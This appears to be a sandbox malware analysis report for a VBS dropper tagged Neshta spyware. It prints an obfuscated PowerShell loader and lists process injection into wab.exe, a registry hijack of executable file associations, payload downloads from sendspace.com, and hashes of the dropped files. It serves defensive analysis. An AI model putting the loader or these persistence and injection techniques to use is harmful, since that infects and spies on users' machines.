'Merce$Pr vagPrdiklClisto Forkb rieaTra dl .els:BeskyVHydr.eUnionn ranstBedvee PallkS mfuj.pgatoSrge.lUneneeBintjnmegal= Fjo.$ sandt,dblor efreuTaleseampli ') ;Kolesterol $Frakoblende127;Kolesterol (Lnkampene 'TilskSRokketNed,uaUlde r,emictlanda-HimmeS WicklPurpoeU,frseAct,apProvi L.ndb4Ajour ');Kolesterol (Lnkampene 'Mo.he$Impovg Unf l Mo,ioS.bpebGryntaFibr lBromi: U,ivVSlubriStuklnOmbindHyperiDrivag.egit= .ost(T,vemTAtom e andos ,vertVandi-JenkrPtjeneaReamatHamsthOvers Bj.ne$Hyp,nEKolpokRegulvlameligolilpSangveFolkerC ickiJordrnNelisgCeremeMultirTi lbn AfdeePet r)Pre.u ') ;Kolesterol (Lnkampene 'Odori$AgerbgSubselO teto S,deb,orinaMonumlS mme:KbekrRMgle.eStibis Tobau Fin,sDrbercMontiiR.sertSeksuaInvesnHi.litKeram=Kroni$TaktrgRagsolGenn,oWiyatbSt,afaRygsjlF.lde:S udrRv,rmoeUnchasSqualpHenwois.ederKedloaUdtaltBrevaiBo,ennDisarg aafr+ Cho,+Antih%antia$Unsq R PaksuOmgrdfUnfu.fEngleeReindrRetrosKonsuk Socee IrrerTakah.EuklicKo.stoFeticusank,nRingetFr,ss ') ;$Skadevolderne=$Ruffersker[$Resuscitant];}$Stealth=317356;$Smeltediglen=28607;Kolesterol (Lnkampene 'Col,u$,flivgs,ratlExploo La,hbBarosaP,olol,arco:Hvse.ORunprlMindaeRundsrtetr.aNonadcOmegneNdri,oCaud uSav ns,arbu Circu=bred, TiltnGundereover.tOrals-HaglsCTmreroClinon CenttTilfleVedrrnKle,itPromo Caram$Pale.ESaarsk ForkvTophaiForsmpExte eMoralr,kudsi.rasonTugbog.himoeKommir ondenSubtoecoutu ');Kolesterol (Lnkampene 'Nonme$.dsmigDej klUnle oforskbSheeta Tastl A lg:,nkebL Bru,hD nskuPostonAbe,idScolys Srad ,ejlt=Kasta Subst[GalloS.havayMaksisGradst T aneS ejlmI.elr.Ol erC EchooPsam,n,olkevAprjteApinarNoum tPrees] Vege:Local:Cal,rFBjninrDekreo Ald mEp,ncB NaiaaU,ryksUlykkeUnseg6Laund4 ,estSM.nottOmnidr CohoiJambonFaraog efor(udl,d$.atonOIsokol usleFrontr.elata Aktic SpoueCesiuo ligauTotemsBar.e) Bac. ');Kolesterol (Lnkampene 'Ae th$.rikkg,arbel .eneo KontbVa.utaSu lelBlomk:Pr,nkSRgforuTiskdbBalkogS.btrr AberoUnoveuYeastpMicrosNeome B ill=Slag, Unsto[Dia,lS Metoy boghsEx,ostForbee Ka fmDr.ek.OsteaT Safte.refaxBundgtSyndi.Une.tE,erminIndimcR sunoJessed ForniFlodhn R,tigArcad]Bygrn:Speci:FlugtA adipSStrobCBemgtIRadenI.lust.EkspeG ipleI,hestGydn,SSpredtGrantr ,ppliDeas,nChmilgPo en(Besla$ BlodL Tr,ahDemaruBa.esnKnowhdBade.sKunde)V,rol ');Kolesterol (Lnkampene 't.esi$PreregKvidrlNo.imo PrisbJawfia Thi,l Eksp:Cru hKL.skojBrugeoM,saprorbict Lys eTrundlT legeBlanknSinapsVel,e=Su,er$.egadSW.incuSoffibResergBrachrPannio.ejdiuEnceppDecigs Avis. SpaesN ggauCominbDagsrs ap ltP,ilorFre riIdocrnHabi.gConse(Kobiu$ KribSPo emt.lpaseSothiaPrelalSto it S rahInte ,Kumme$T.bleSMonosmR,esueAfkorlN.ttetEfterePrveld K.ruiMethagNukasl Sowde Inven,uleb)Modta ');Kolesterol $Kjortelens;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Omrystninger.Dim && echo $"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	www.sendspace.com	udp
US	104.21.28.80:443	www.sendspace.com	tcp
US	8.8.8.8:53	fs13n3.sendspace.com	udp
CA	69.31.136.57:443	fs13n3.sendspace.com	tcp
US	8.8.8.8:53	crt.sectigo.com	udp
US	172.64.149.23:80	crt.sectigo.com	tcp
US	104.21.28.80:443	www.sendspace.com	tcp
US	8.8.8.8:53	fs12n1.sendspace.com	udp
CA	69.31.136.53:443	fs12n1.sendspace.com	tcp

Files

memory/2036-4-0x000007FEF58CE000-0x000007FEF58CF000-memory.dmp

memory/2036-5-0x000000001B780000-0x000000001BA62000-memory.dmp

memory/2036-6-0x0000000002240000-0x0000000002248000-memory.dmp

memory/2036-7-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

memory/2036-8-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

memory/2036-9-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

memory/2036-10-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

memory/2036-11-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5	29f65ba8e88c063813cc50a4ea544e93
SHA1	05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA256	1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512	e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

C:\Users\Admin\AppData\Local\Temp\Tar416B.tmp

MD5	435a9ac180383f9fa094131b173a2f7b
SHA1	76944ea657a9db94f9a4bef38f88c46ed4166983
SHA256	67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA512	1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F6WF5KNSDZJZEI8YXL13.temp

MD5	a7f49d8c8acbd628b8fdbdcda91397b7
SHA1	26b309b70ae65a605245a1edb5272ce934391a54
SHA256	e7d206bb2c8a46151150eb303eb96e3665f9eefd0dc38fdeed6f6c974490b114
SHA512	d618bcff139010f2f56cd3aade5f88d31410600214b22ebbdee2e0608cceed8893a00d078cf1145c3ee6fa3fa022b7d52c83fca65d7e7b534e9fcbe89079a116

C:\Users\Admin\AppData\Roaming\Omrystninger.Dim

MD5	6d9b6accceeb8d1903ff212fe516a08e
SHA1	dde8ef0bd8cee4dd7593de179183a6a0afb5e1cc
SHA256	2f65e63154ec396206d3ca6ce8ac0210b09598f0c61e6038161ad66fb5e80138
SHA512	48031eff35c6ef2dc0c05e750ddc960c6031fbb16f41843f0f0c01a0c59d76b71283793428f20974800ff880555606d6fbb4e1ad8f48220a38e9725ed6eac420

memory/2036-58-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

memory/1600-59-0x00000000066D0000-0x000000000BCC7000-memory.dmp

memory/2036-60-0x000007FEF58CE000-0x000007FEF58CF000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5	ee7604625442fdbd935255edc3e5264c
SHA1	017544413fb06f2f2298de84cffda8bc3d713d14
SHA256	78a532f2425bb9e1d8537ff81036dfebfe27cfdaac62da1b0aa2eeb297b2f362
SHA512	a1ca0c9597e208fd4a3518f45b5988f013d27b2d13bd248a033e0ef0c16e8d55051c3c5ab1a5fe7e2f00353c9b494f290dfc0831c264cb6963511c2ff0216c99

memory/824-83-0x0000000000880000-0x00000000018E2000-memory.dmp

memory/824-90-0x0000000000880000-0x00000000018E2000-memory.dmp

memory/2036-94-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

C:\MSOCache\ALLUSE~1\{90140~1\dwtrig20.exe

MD5	fa9e52ffa7ca60c38d490abd96cb3952
SHA1	b8ef0fafe68035128978f0383fab3863301aa62e
SHA256	d416c89d8a396915106fb2462430d90bbe1be05c444098bfc671bb3d12089d96
SHA512	26d959e451ee66a26ead7b7971b3993c3f6882abd912ba5a641215cb90f18bbb7ac94e7ae3008bbf2c1c497e6989b8a607b63967b6dd3aa1ef4a5a953342d1ce

\PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE

MD5	9e2b9928c89a9d0da1d3e8f4bd96afa7
SHA1	ec66cda99f44b62470c6930e5afda061579cde35
SHA256	8899b4ed3446b7d55b54defbc1acb7c5392a4b3bc8ec2cdc7c31171708965043
SHA512	2ca5ad1d0e12a8049de885b90b7f56fe77c868e0d6dae4ec4b6f3bc0bf7b2e73295cc9b1328c2b45357ffb0d7804622ab3f91a56140b098e93b691032d508156

memory/824-173-0x0000000000880000-0x00000000018E2000-memory.dmp

memory/824-175-0x0000000000880000-0x00000000018E2000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-23 16:22

Reported

2024-05-23 16:25

Platform

win10v2004-20240226-en

Max time kernel

150s

Max time network

147s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\time.vbs"

Signatures

Neshta

persistence spyware neshta

Blocklisted process makes network request

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Checks computer location settings

Description	Indicator	Process	Target
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	C:\Windows\System32\WScript.exe	N/A

Modifies system executable filetype association

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 1560 set thread context of 4596	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe

Drops file in Program Files directory

Description	Indicator	Process	Target
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroCEF\RdrCEF.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\arh.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\READER~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Eula.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\FULLTR~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\LOGTRA~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROBR~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\64BITM~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A

Drops file in Windows directory

Description	Indicator	Process	Target
File opened for modification	C:\Windows\svchost.com	C:\Program Files (x86)\windows mail\wab.exe	N/A

Enumerates physical storage devices

Modifies registry class

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious behavior: MapViewOfSection

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 628 wrote to memory of 1536	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 628 wrote to memory of 1536	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1536 wrote to memory of 1972	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 1536 wrote to memory of 1972	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 1536 wrote to memory of 1560	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 1536 wrote to memory of 1560	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 1536 wrote to memory of 1560	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 1560 wrote to memory of 3876	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 1560 wrote to memory of 3876	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 1560 wrote to memory of 3876	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 1560 wrote to memory of 4596	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 1560 wrote to memory of 4596	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 1560 wrote to memory of 4596	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 1560 wrote to memory of 4596	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 1560 wrote to memory of 4596	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\time.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Omrystninger.Dim && echo $"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3756 --field-trial-handle=2248,i,10247514684337323751,15511974759131734137,262144 --variations-seed-version /prefetch:8

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Omrystninger.Dim && echo $"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	58.55.71.13.in-addr.arpa	udp
US	8.8.8.8:53	172.210.232.199.in-addr.arpa	udp
US	8.8.8.8:53	74.32.126.40.in-addr.arpa	udp
US	8.8.8.8:53	95.221.229.192.in-addr.arpa	udp
US	8.8.8.8:53	www.sendspace.com	udp
US	172.67.170.105:443	www.sendspace.com	tcp
US	8.8.8.8:53	fs13n2.sendspace.com	udp
CA	69.31.136.57:443	fs13n2.sendspace.com	tcp
US	8.8.8.8:53	crt.sectigo.com	udp
US	104.18.38.233:80	crt.sectigo.com	tcp
US	8.8.8.8:53	57.136.31.69.in-addr.arpa	udp
US	8.8.8.8:53	233.38.18.104.in-addr.arpa	udp
US	8.8.8.8:53	23.149.64.172.in-addr.arpa	udp
US	8.8.8.8:53	105.170.67.172.in-addr.arpa	udp
US	20.231.121.79:80		tcp
US	8.8.8.8:53	104.219.191.52.in-addr.arpa	udp
US	8.8.8.8:53	157.123.68.40.in-addr.arpa	udp
US	8.8.8.8:53	206.23.85.13.in-addr.arpa	udp
US	13.107.246.64:443		tcp
US	8.8.8.8:53	203.107.17.2.in-addr.arpa	udp
US	8.8.8.8:53	31.243.111.52.in-addr.arpa	udp
US	172.67.170.105:443	www.sendspace.com	tcp
US	8.8.8.8:53	67.169.217.172.in-addr.arpa	udp
US	8.8.8.8:53	fs12n1.sendspace.com	udp
CA	69.31.136.53:443	fs12n1.sendspace.com	tcp
US	8.8.8.8:53	53.136.31.69.in-addr.arpa	udp

Files

memory/1536-0-0x00007FF9D5503000-0x00007FF9D5505000-memory.dmp

memory/1536-6-0x0000011D7DDB0000-0x0000011D7DDD2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nw5clstd.uur.ps1

MD5	d17fe0a3f47be24a6453e9ef58c94641
SHA1	6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256	96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512	5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1536-11-0x00007FF9D5500000-0x00007FF9D5FC1000-memory.dmp

memory/1536-12-0x00007FF9D5500000-0x00007FF9D5FC1000-memory.dmp

memory/1536-13-0x00007FF9D5500000-0x00007FF9D5FC1000-memory.dmp

memory/1536-26-0x00007FF9D5503000-0x00007FF9D5505000-memory.dmp

memory/1536-27-0x00007FF9D5500000-0x00007FF9D5FC1000-memory.dmp

memory/1560-28-0x0000000002EB0000-0x0000000002EE6000-memory.dmp

memory/1560-29-0x0000000005910000-0x0000000005F38000-memory.dmp

memory/1560-30-0x0000000005FB0000-0x0000000005FD2000-memory.dmp

memory/1560-31-0x0000000005FE0000-0x0000000006046000-memory.dmp

memory/1560-32-0x00000000060C0000-0x0000000006126000-memory.dmp

memory/1560-38-0x00000000061B0000-0x0000000006504000-memory.dmp

memory/1560-43-0x00000000067D0000-0x00000000067EE000-memory.dmp

memory/1560-44-0x00000000068A0000-0x00000000068EC000-memory.dmp

memory/1560-45-0x00000000080C0000-0x000000000873A000-memory.dmp

memory/1560-46-0x0000000006DE0000-0x0000000006DFA000-memory.dmp

memory/1560-47-0x0000000007AF0000-0x0000000007B86000-memory.dmp

memory/1560-48-0x0000000006E50000-0x0000000006E72000-memory.dmp

memory/1560-49-0x0000000008CF0000-0x0000000009294000-memory.dmp

C:\Users\Admin\AppData\Roaming\Omrystninger.Dim

MD5	6d9b6accceeb8d1903ff212fe516a08e
SHA1	dde8ef0bd8cee4dd7593de179183a6a0afb5e1cc
SHA256	2f65e63154ec396206d3ca6ce8ac0210b09598f0c61e6038161ad66fb5e80138
SHA512	48031eff35c6ef2dc0c05e750ddc960c6031fbb16f41843f0f0c01a0c59d76b71283793428f20974800ff880555606d6fbb4e1ad8f48220a38e9725ed6eac420

memory/1560-52-0x00000000092A0000-0x000000000E897000-memory.dmp

memory/4596-53-0x0000000000AE0000-0x0000000001D34000-memory.dmp

memory/4596-70-0x0000000000AE0000-0x0000000001D34000-memory.dmp

memory/1536-74-0x00007FF9D5500000-0x00007FF9D5FC1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\3582-490\wab.exe

MD5	72ad21d191b58842334d32a381ea7fa8
SHA1	f7375f09855a7bce9f7a152c75e84aac69caf828
SHA256	87abfab7bf5e213fc9e63c7fa39edfa6452eb5f7fdd668cd370d9cf4ea3ef729
SHA512	78662231c7ce0d03374b69dfd32614786dc5bf0c8ad2baadf2143f42bb03bd378632cc457dc414aa7e3d284674cc9151c39f90d71d9a5dd15dba689b2283386d

memory/4596-85-0x0000000000AE0000-0x0000000001D34000-memory.dmp

memory/4596-86-0x0000000000AE0000-0x0000000001D34000-memory.dmp

C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe

MD5	ce77d9eafa620241c2e69b74628e7e74
SHA1	d6dcf92ab506af478434bee53a674cb00ef83726
SHA256	beaf9aa6e0d000f55b74345a6378f1418ae2115e009dc6d2e48798c44bf2792c
SHA512	a8238a28d2ca3af0411b43c9f7a3e58691d2f9d4f8d6eed1cfba64750258c89c3fd2e580a8a5e202e0e47ea5a0bf8014f4c556f6e9a85884e8e076efa3e5ae16

Sample ID	240523-tvn4qaha83
Target	time.vbs
SHA256	aeda53046f92e6a6f967262130c9238be1107224bd143399e6a66eae7ed2e401
Tags	neshta persistence spyware

Malware Analysis Report

2024-09-11 03:08

Table of Contents

Analysis Overview

Threat Level: Known bad

Malicious Activity Summary

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files